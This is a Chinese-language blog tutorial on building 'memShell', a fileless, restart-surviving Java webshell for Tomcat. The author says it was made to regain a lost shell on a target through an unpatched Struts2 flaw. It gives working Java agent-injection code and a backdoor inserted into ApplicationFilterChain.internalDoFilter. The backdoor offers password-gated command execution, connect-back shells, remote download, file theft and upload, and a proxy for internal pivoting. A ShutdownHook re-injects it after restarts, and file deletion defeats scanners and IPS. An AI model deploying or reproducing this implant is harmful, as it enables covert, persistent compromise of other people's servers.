利用“程序注入”實現無檔案不死webshell
引子
上週末,一個好兄弟找我說一個很重要的目標shell丟了,這個shell之前是通過一個S2程式碼執行的漏洞拿到的,現在漏洞還在,不過web目錄全部不可寫,問我有沒有辦法搞個webshell繼續做內網。正好我之前一直有個通過“程序注入”來實現記憶體webshell的想法,於是就趁這個機會以Java為例做了個記憶體webshell出來(暫且叫它memShell吧),給大家分享一下:)
前言
一般在滲透過程中,我們通常會用到webshell,一個以檔案的形式存在於Web容器內的惡意指令碼檔案。我們通過webshell來讓Web Server來執行我們的任意指令。如果在某些機選情況下,我們不想或者不能在Web目錄下面寫入檔案,是不是就束手無策了?當然不是,寫入webshell並不是讓Web Server來執行我們任意程式碼的唯一方式,通過直接修改程序的記憶體也可以實現這個目的。我們只要擁有一個web容器程序執行使用者的許可權,理論上就可以完全控制該程序的地址空間(更確切的說是地址空間中的非Kernel部分),包括地址空間內的資料和程式碼。OS層程序注入的方法有很多,不過具體到Java環境,我們不需要使用作業系統層面的程序注入方法。Java為我們提供了更方便的介面,Java Instrumentation。
Java Instrumentation簡介
先看下官方概念:java Instrumentation指的是可以用獨立於應用程式之外的代理(agent)程式來監測和協助執行在JVM上的應用程式。這種監測和協助包括但不限於獲取JVM執行時狀態,替換和修改類定義等。簡單一句話概括下:Java Instrumentation可以在JVM啟動後,動態修改已載入或者未載入的類,包括類的屬性、方法。該機制最早於Java SE5 引入,Java SE6之後的機制相對於Java SE5有較大改進,因為現在Java SE5這種古董級別的環境已經不多,此處不再贅述。
下面看一個簡單的例子:首先新建3個Java工程Example、Agent和AgentStarter。
1.在工程Example中新建2個類:
Bird.java:
public class Bird { public void say() { System.out.println("bird is gone."); } }
然後把編譯後的Bird.class複製出來,放到D盤根目錄。然後把Bird.java再改成如下:
Bird.java:
public class Bird { public void say() { System.out.println("bird say hello"); } }
Main.java:
public class Main { public static void main(String[] args) throws Exception { // TODO Auto-generated method stub while(true) { Bird bird=new Bird(); bird.say(); Thread.sleep(3000); } } }
把整個工程打包成可執行jar包normal.jar,放到D盤根目錄。
2.在工程Agent中新建2個類:
AgentEntry.java:
public class AgentEntry { public static void agentmain(String agentArgs, Instrumentation inst) throws ClassNotFoundException, UnmodifiableClassException, InterruptedException { inst.addTransformer(new Transformer (), true); Class[] loadedClasses = inst.getAllLoadedClasses(); for (Class c : loadedClasses) { if (c.getName().equals("Bird")) { try { inst.retransformClasses(c); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } } System.out.println("Class changed!"); } }
Transformer.java:
public class Transformer implements ClassFileTransformer { static byte[] mergeByteArray(byte[]... byteArray) { int totalLength = 0; for(int i = 0; i < byteArray.length; i ++) { if(byteArray[i] == null) { continue; } totalLength += byteArray[i].length; } byte[] result = new byte[totalLength]; int cur = 0; for(int i = 0; i < byteArray.length; i++) { if(byteArray[i] == null) { continue; } System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length); cur += byteArray[i].length; } return result; } public static byte[] getBytesFromFile(String fileName) { try { byte[] result=new byte[] {}; InputStream is = new FileInputStream(new File(fileName)); byte[] bytes = new byte[1024]; int num = 0; while ((num = is.read(bytes)) != -1) { result=mergeByteArray(result,Arrays.copyOfRange(bytes, 0, num)); } is.close(); return result; } catch (Exception e) { e.printStackTrace(); return null; } } public byte[] transform(ClassLoader classLoader, String className, Class<?> c, ProtectionDomain pd, byte[] b) throws IllegalClassFormatException { if (!className.equals("Bird")) { return null; } return getBytesFromFile("d:/Bird.class"); } }
新建一個mainfest檔案:
MAINFEST.MF:
Manifest-Version: 1.0 Agent-Class: AgentEntry Can-Retransform-Classes: true
然後把Agent工程打包為agent.jar,放到D盤根目錄。
3.在AgentStarter工程中新建1個類:
Attach.java:
public class Attach { public static void main(String[] args) throws Exception { VirtualMachine vm = null; List<VirtualMachineDescriptor> listAfter = null; List<VirtualMachineDescriptor> listBefore = null; listBefore = VirtualMachine.list(); while (true) { try { listAfter = VirtualMachine.list(); if (listAfter.size() <= 0) continue; for (VirtualMachineDescriptor vmd : listAfter) { vm = VirtualMachine.attach(vmd); listBefore.add(vmd); System.out.println("i find a vm,agent.jar was injected."); Thread.sleep(1000); if (null != vm) { vm.loadAgent("d:/agent.jar"); vm.detach(); } } break; } catch (Exception e) { e.printStackTrace(); } } } }
把AgentStarter打包成可執行jar包run.jar,放到D盤根目錄。這時候,D盤根目錄列表如下:
下面開啟兩個命令列視窗,先執行normal.jar,再執行run.jar:
很明顯我們動態改變了正在執行的normal.jar程序中Bird類的say方法體。OK,基本原理就介紹到這裡,下面我們拿tomcat來實操。
確定關鍵類
我們想要實現這樣一種效果,訪問web伺服器上的任意一個url,無論這個url是靜態資源還是jsp檔案,無論這個url是原生servlet還是某個struts action,甚至無論這個url是否真的存在,只要我們的請求傳遞給tomcat,tomcat就能相應我們的指令。為了達到這個目的,需要找一個特殊的類,這個類要儘可能在http請求呼叫棧的上方,又不能與具體的URL有耦合,而且還能接受客戶端request中的資料。經過分析,發現org.apache.catalina.core.ApplicationFilterChain類的internalDoFilter方法最符合我們的要求,首先看一下internalDoFilter方法的原型:
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {}
該方法有ServletRequest和ServletResponse兩個引數,裡面封裝了使用者請求的request和response。另外,internalDoFilter方法是自定義filter的入口,如下圖:
市面上各種流行的Java Web類框架,都是通過一個自定義filter來接管使用者請求的,所以在在internalDoFilter方法中注入通用型更強。下面我們要做的就是修改internalDoFilter方法的位元組碼,一般用asm或者javaassist來協助修改位元組碼。asm執行效能高,不過易用性差,一般像RASP這種對效能要求比較高的產品會優先採用。javaassist執行效能稍差,不過是原始碼級的,易用性較好,本文即用此方法。
定製internalDoFilter
internalDoFilter是memShell接收使用者請求的入口,我們在方法開始處插入如下的程式碼段(節選):
try { if (pass_the_world!=null&&pass_the_world.equals("rebeyond")) { if (model==null||model.equals("")) { result=Shell.help(); } else if (model.equalsIgnoreCase("exec")) { String cmd=request.getParameter("cmd"); result=Shell.execute(cmd); } else if (model.equalsIgnoreCase("connectback")) { String ip=request.getParameter("ip"); String port=request.getParameter("port"); result=Shell.connectBack(ip, port); } else if (model.equalsIgnoreCase("urldownload")) { String url=request.getParameter("url"); String path=request.getParameter("path"); result=Shell.urldownload(url, path); } else if (model.equalsIgnoreCase("list")) { String path=request.getParameter("path"); result=Shell.list(path); } else if (model.equalsIgnoreCase("download")) { String path=request.getParameter("path"); java.io.File f = new java.io.File(path); if (f.isFile()) { String fileName = f.getName(); java.io.InputStream inStream = new java.io.FileInputStream(path); response.reset(); response.setContentType("bin"); response.addHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\""); byte[] b = new byte[100]; int len; while ((len = inStream.read(b)) > 0) response.getOutputStream().write(b, 0, len); inStream.close(); return; } } else if (model.equalsIgnoreCase("upload")) { String path=request.getParameter("path"); String fileContent=request.getParameter("fileContent"); result=Shell.upload(path, fileContent); } else if (model.equalsIgnoreCase("proxy")) { new Proxy().doProxy(request, response); return; } else if (model.equalsIgnoreCase("chopper")) { new Evaluate().doPost(request, response); return; } response.getWriter().print(result); return; } } catch(Exception e) { response.getWriter().print(e.getMessage()); }
首先判斷是否有pass_the_world密碼欄位,如果請求中沒有帶pass_the_world欄位,說明是正常的訪問請求,直接轉到正常的處理流程中去,不進入webshell流程,避免影響正常業務。如果請求中有pass_the_world欄位且密碼正確,再判斷當前請求的model型別,分別分發到不通的處理分支中去。為了避免對internalDoFilter自身做太大的改動,我把一些比較複雜的邏輯抽象到了外部agent.jar中去實現,由於外部jar包和javax.servlet相關的類classloader不一致,外部jar包中用到了反射的方法去執行一些無法找到的類,比如ServletRquest、ServletResponse等。
最終我們生成了2個jar包,一個inject.jar(功能類似前文demo中的run.jar),用來列舉當前機器上的jvm例項並進行程式碼注入。一個agent.jar,包含我們自定義的常見shell類功能,agent.jar會被inject.jar注入到tomcat程序中。執行java –jar inject.jar完成程序注入動作之後,可以把這兩個jar包刪除,這樣我們就擁有了一個memShell,完全存在於記憶體中的webshell,硬碟上沒有任何痕跡,再也不用擔心各種webshell掃描工具,IPS,頁面防篡改系統,一切看上去好像很完美。
但是……
記憶體中的資料,在程序關閉後就會丟失,如果tomcat被重啟,我們的webshell也會隨之消失,那豈不是然並卵?當然不是。
復活技術
既然文章標題提到了我們要實現的是不死webshell,就一定要保證在tomcat服務重啟後還能存活。memShell通過設定Java虛擬機器的關閉鉤子ShutdownHook來達到這個目的。ShutdownHook是JDK提供的一個用來在JVM關掉時清理現場的機制,這個鉤子可以在如下場景中被JVM呼叫:
- 1.程式正常退出
- 2.使用System.exit()退出
- 3.使用者使用Ctrl+C觸發的中斷導致的退出
- 4.使用者登出或者系統關機
- 5.OutofMemory導致的退出
-
6.Kill pid命令導致的退出所以ShutdownHook可以很好的保證在tomcat關閉時,我們有機會埋下復活的種子:)如下為我們自定義的ShutdownHook程式碼片段:
public static void persist() { try { Thread t = new Thread() { public void run() { try { writeFiles("inject.jar",Agent.injectFileBytes); writeFiles("agent.jar",Agent.agentFileBytes); startInject(); } catch (Exception e) { } } }; t.setName("shutdown Thread"); Runtime.getRuntime().addShutdownHook(t); } catch (Throwable t) { }
JVM關閉前,會先呼叫writeFiles把inject.jar和agent.jar寫到磁碟上,然後呼叫startInject,startInject通過Runtime.exec啟動java -jar inject.jar。
memShell流程梳理
下面我們來梳理一下memShell的整個植入流程:
- 1.將inject.jar和agent.jar上傳至目標Web Server任意目錄下。
- 2.以tomcat程序啟動的OS使用者執行java –jar inject.jar。
- 3.inject.jar會通過一個迴圈遍歷查詢Web Server上的JVM程序,並把agent.jar注入進JVM程序中,直到注入成功後,inject.jar才會退出。
-
4.注入成功後,agent.jar執行agentmain方法,該方法主要做以下幾件事情:
- a) 遍歷所有已經載入的類,查詢“org.apache.catalina.core.ApplicationFilterChain”,並對該類的internalDoFilter方法進行修改。
- b) 修改完之後,把磁碟上的inject.jar和agent.jar讀進tomcat記憶體中。
- c) 對memShell做初始訪問。為什麼要做一次初始化訪問呢?因為我們下一步要從磁碟上刪掉agent.jar和inject.jar,在刪除之前如果沒有訪問過memShell的話,memShell相關的一些類就不會載入進記憶體,這樣後續我們在訪問memShell的時候就會報ClassNotFound異常。有兩種方法初始化類,第一是挨個把需要的類手動載入一次,第二是模擬做一次初始化訪問,memShell採用的後者。
- d) 刪除磁碟上的inject.jar和agent.jar。當Web Server是Linux系統的時候,正常刪除檔案即可。當Web Server是Windows系統的時候,由於Windows具有檔案鎖定機制,當一個檔案被其他程式佔用時,這個檔案是處於鎖定狀態不可刪除的,inject.jar正在被JVM所佔用。要刪除這個jar包,需要先開啟該程序,遍歷該程序的檔案控制代碼,通過DuplicateHandle來巧妙的關閉檔案控制代碼,然後再執行刪除,我把這個查詢控制代碼、關閉控制代碼的操作寫進了一個exe中,memShell判斷WebServer是Windows平臺時,會先釋放這個exe檔案來關閉控制代碼,再刪除agent.jar。
- 5.memShell注入完畢,正常接收請求,通過訪問http://xxx/anyurl?show_the_world=password可以看到plain風格的使用說明(為什麼是plain風格,因為懶)。
-
6.當JVM關閉時,會首先執行我們註冊的ShutdownHook:
- a)把第4(b)步中我們讀進記憶體的inject.jar和agent.jar寫入JVM臨時目錄。
- b)執行java -jar inject.jar,此後過程便又回到上述第3步中,形成一個閉環結構。
到此,memShell的整個流程就介紹完畢了。
memShell用法介紹
- 1.memShell實現了常見的webshell的功能,像命令執行:
-
2.memShell通過內嵌reGeorg實現了socks5代理轉發功能,方便內網滲透:
這裡要說明一下,因為reGeorg官方的reGeorgSocksProxy.py不支援帶引數的URL,所有我們要稍微改造一下reGeorgSocksProxy.py:
把第375行改成上圖所示即可。
-
3.memShell內嵌了菜刀一句話:
-
4.只設置訪問密碼,不設定model型別可檢視plain style的help:
後記
本文僅以Java+tomcat為例來介紹記憶體webshell的原理及實現,其他幾種容器如JBOSS、WebLogic等,只是“定位關鍵類”那一步稍有不同,其他環節都是通用的。理論上其他幾種語言同樣可以實現類似的功能,我就算給大家拋磚引玉了。
Github程式碼地址:ofollow,noindex" target="_blank">https://github.com/rebeyond/memShell
裡面有很多功能還有可以改進的地方,後面有時間再慢慢完善吧。
最後,華為終端雲SilverNeedle團隊誠招各路安全人才(APT方向),待遇優厚,歡迎推薦和自薦:)